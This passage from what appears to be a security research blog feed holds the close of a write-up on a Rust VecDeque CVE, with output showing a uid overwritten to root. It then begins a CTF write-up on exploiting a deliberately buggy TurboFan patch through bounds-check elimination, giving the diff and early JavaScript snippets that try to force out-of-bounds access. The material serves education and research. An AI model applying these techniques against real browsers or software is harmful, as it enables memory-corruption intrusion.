&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Deque internal buffer capacity: 8
Deque internal buffer size: 32
User struct size: 32
Current user: User { uid: 1000, gid: 1000, name: &amp;quot;User&amp;quot; }
VecDeque buffer at: 0x7fb2e8421060
User struct at: 0x7fb2e8421080
Overwritten user: User { uid: 0, gid: 1000, name: &amp;quot;User&amp;quot; }
You are root!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Bug Fix.&lt;/em&gt; This CVE is particularly interesting because it is a memory
safety error but the bug was in the &lt;em&gt;safe&lt;/em&gt; part of the Rust.
The root cause of this bug is safe code breaking unsafe code's invariant &lt;code&gt;new_cap &amp;gt; old_cap&lt;/code&gt;,
even though the corruption of the internal pointer indeed happened in
an unsafe function &lt;code&gt;VecDeque::handle_cap_increase()&lt;/code&gt;. The bug was
fixed by changing &lt;code&gt;self.capacity()&lt;/code&gt; (user-facing capacity) to
&lt;code&gt;old_cap&lt;/code&gt; (internal buffer capacity).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Bug fix in Rust Git repository" src="/blog/cve-2018-1000657.assets/fix.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Memory safety vs. logic bugs.&lt;/em&gt;
Should we consider this is a memory-safety bug or a logic bug?
It is questionable
as the actual mistake is an incorrect checking of the capacity:
perhaps, a typo or a naive mistake
thanks to the opaque names of two variables, &lt;code&gt;old_cap&lt;/code&gt; vs &lt;code&gt;capacity()&lt;/code&gt;.
If the same mechanism and logic are implemented in pure Rust,
it still incurs an incorrect use (or overwriting)
of another nearby element in the deque,
although it might prevent attackers
from constructing a more powerful exploit primitive
such as arbitrary read/write,
in a generic manner.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Conclusion.&lt;/em&gt;
Rust guides programmers to double-check the consequences of unsafe Rust code by explicit &lt;code&gt;unsafe&lt;/code&gt; keyword, because a bug related to unsafe code can break Rust's safety guarantee. However, our observation suggests that Rust codes that can trigger a memory bug are actually more than codes that are explicitly marked as unsafe. Rust programmers should be also careful when they are writing safe Rust codes that can affect the invariant of the unsafe codes, and investigating and quantifying this kinds of indirect unsafe Rust code would be an interesting future research topic.&lt;/p&gt;</content><category term="blog"></category><category term="Security"></category><category term="Rust"></category></entry><entry><title>Exploiting TurboFan Through Bounds Check Elimination</title><link href="https://gts3.org/2019/turbofan-BCE-exploit.html" rel="alternate"></link><published>2019-07-14T00:00:00+02:00</published><updated>2019-07-14T00:00:00+02:00</updated><author><name>Hanqing Zhao</name></author><id>tag:gts3.org,2019-07-14:/2019/turbofan-BCE-exploit.html</id><summary type="html">&lt;p&gt;Exploiting TurboFan Through Bounds Check Elimination&lt;/p&gt;</summary><content type="html">&lt;h3&gt;TL;DR&lt;/h3&gt;
&lt;p&gt;A few days ago, we played a CTF that has an interesting Chrome exploitation challenge.
The author of the challenge applied a deliberate and vulnerable patch to the latest chromium running with a &lt;code&gt;--no-sandbox&lt;/code&gt; flag.&lt;/p&gt;
&lt;p&gt;To get the flag, we must use this bug to achieve remote code execution (RCE) in the web process. Utimately, we first turn this bug into an array off-by-one bug through bounds check elimination (BCE). Then we manipulate the heap to get stable &lt;code&gt;addrOf&lt;/code&gt; and &lt;code&gt;fakeObj&lt;/code&gt; primitives. Finally, we use this bug to spawn a calculator on &lt;code&gt;Ubuntu 18.04&lt;/code&gt; successfully.&lt;/p&gt;
&lt;h3&gt;The Customized Patch &amp;amp; Bug&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;diff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;compiler&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machine&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;reducer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;compiler&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machine&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;reducer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cc&lt;/span&gt;
&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6a8e87cf4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;.164&lt;/span&gt;&lt;span class="n"&gt;ab44fab&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100644&lt;/span&gt;
&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;compiler&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machine&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;reducer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cc&lt;/span&gt;
&lt;span class="o"&gt;+++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;compiler&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machine&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;reducer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cc&lt;/span&gt;
&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-291&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;291&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Reduction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MachineOperatorReducer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Reduce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Node&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;Is&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kMaxUInt32&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ReplaceBool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// M &amp;lt; x =&amp;gt; false&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;Is&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ReplaceBool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// x &amp;lt; 0 =&amp;gt; false&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IsFoldable&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="c1"&gt;// K &amp;lt; K =&amp;gt; K&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ReplaceBool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ReplaceBool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LeftEqualsRight&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ReplaceBool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// x &amp;lt; x =&amp;gt; false&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;IsWord32Sar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;HasValue&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patch is interesting because it only use two characters. The bug exists in the &lt;a href="https://cs.chromium.org/chromium/src/v8/src/compiler/machine-operator-reducer.cc?g=0&amp;amp;l=289"&gt;&lt;code&gt;MachineOperatorReducer&lt;/code&gt;&lt;/a&gt; phase, a very late optimization phase.&lt;/p&gt;
&lt;p&gt;The IR &lt;code&gt;kUint32LessThan&lt;/code&gt; is used to compare two &lt;code&gt;uint32&lt;/code&gt; numbers. In this phase (&lt;code&gt;MachineOperatorReducer&lt;/code&gt;), the compiler tries to fold some deterministic comparisons. e.g., for any $\theta$, $kMaxUint32 &amp;lt; \theta$ is folded into $False$. Also, for any comparison between constants, the expression is folded into a determinitic &lt;code&gt;boolean&lt;/code&gt; value. e.g., $4 &amp;lt; 4$ is folded into $False$.&lt;/p&gt;
&lt;p&gt;The patch introduces a mistable in the fold operation. When the compiler trying to fold the expression, it adds $1$ to the right value, resulting in some correct folds. e.g., $4 &amp;lt; 4$ ($False$) is treated as $4 &amp;lt; 5$ , generating a wrong result: $True$.&lt;/p&gt;
&lt;p&gt;Intuitively, this bug can not be leveraged to trigger memory corruption directly; and thus, we tries to use this bug to get some stronger primitives.&lt;/p&gt;
&lt;h3&gt;Bounds Check Elimination&lt;/h3&gt;
&lt;p&gt;Previously, there are several &lt;code&gt;typer&lt;/code&gt; bugs have been exploited by eliminating the bounds check when accessing JS arraies. Therefore, we would like investigate if the bug can be exploited through similar approaches.&lt;/p&gt;
&lt;p&gt;However, Chromium has decided to disable this optimization to &lt;a href="https://bugs.chromium.org/p/v8/issues/detail?id=8806"&gt;harden&lt;/a&gt; turbofan's bounds check against typer bugs in &lt;code&gt;Simplified lowering&lt;/code&gt; phase. &lt;/p&gt;
&lt;p&gt;Fortunately, we noticed that there are still some samilar bugs could be exploited. e.g., the &lt;code&gt;String#lastIndexOf&lt;/code&gt; bug depicted by Jeremy Fetiveau&lt;sup id="fnref:0"&gt;&lt;a class="footnote-ref" href="#fn:0"&gt;1&lt;/a&gt;&lt;/sup&gt;. As this blog indicates, we notice that the BCE hardening can be bypassed.&lt;/p&gt;
&lt;h3&gt;Finding a path to eliminate the bounds check&lt;/h3&gt;
&lt;p&gt;To boost our analysis, we use &lt;code&gt;--trace-turbo&lt;/code&gt; flag and &lt;code&gt;turbolizer&lt;/code&gt; of &lt;code&gt;d8&lt;/code&gt; to check the &lt;code&gt;Sea of Nodes&lt;/code&gt; IR generated by TurboFan&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;To date, although the &lt;code&gt;simplified lowering&lt;/code&gt; phase does not remove the &lt;code&gt;CheckBounds&lt;/code&gt; node, it is replaced by a &lt;code&gt;CheckedUint32Bounds&lt;/code&gt; node (&lt;a href="https://cs.chromium.org/chromium/src/v8/src/compiler/simplified-lowering.cc?g=0&amp;amp;l=1602"&gt;source codes&lt;/a&gt;). In this way, in the &lt;code&gt;Effect Control Linearization&lt;/code&gt; phase, The &lt;code&gt;CheckedUint32Bounds&lt;/code&gt; is replaced by a &lt;code&gt;Uint32LessThan&lt;/code&gt; node. According to result of uint32 comparison, generating a &lt;code&gt;LoadElement&lt;/code&gt; node or an &lt;code&gt;Unreachable&lt;/code&gt; node (&lt;a href="https://cs.chromium.org/chromium/src/v8/src/compiler/effect-control-linearizer.cc?g=0&amp;amp;l=2376"&gt;source codes&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;e.g., for the following codes,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;opt&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;opt&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;opt&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// output&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;the compiler generates this graph. It works and eliminates the bounds check correctly.&lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);" 
    src="https://i.imgur.com/zZ54bXf.png"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;The procedure to eliminate the bounds check&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Because $(3 &amp;lt; 4)\equiv True$, without any bounds check, the function loads elements directly.&lt;/p&gt;
&lt;p&gt;Right now, the idea to exploit it is quite clear: using the wrong result generated by &lt;code&gt;Uint32LessThan&lt;/code&gt; to eliminate the bounds check, constructing an OOB array.&lt;/p&gt;
&lt;h3&gt;Constant Folding and Two ways to bypass it&lt;/h3&gt;
&lt;p&gt;Now we would like have the very first try, expecting the element acccess is out-of-bounds (OOB).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;opt&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="c1"&gt;// output&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;undefined&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, this code snippet cannot result in OOB acccess.&lt;/p&gt;
&lt;p&gt;After some investigation, we noticed that the &lt;code&gt;LoadElement&lt;/code&gt; node is disappeared. &lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);" 
    src="https://i.imgur.com/oItsY8e.png" width = "1200"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;The LoadElement node has disappeared&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Suddenly, we realized that the variable &lt;code&gt;idx&lt;/code&gt; is removed by the constant folding in &lt;code&gt;LoadElimination&lt;/code&gt; phase&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;3&lt;/a&gt;&lt;/sup&gt;. Hence the &lt;code&gt;LoadElement&lt;/code&gt; node is disappeared.&lt;/p&gt;
&lt;p&gt;To avoid the constant folding, we need to assign an indeterministic &lt;code&gt;Range&lt;/code&gt; to the &lt;code&gt;CheckBounds&lt;/code&gt; node.
Therefore, we can apply some arithmetical operations to this variable.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;opt&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
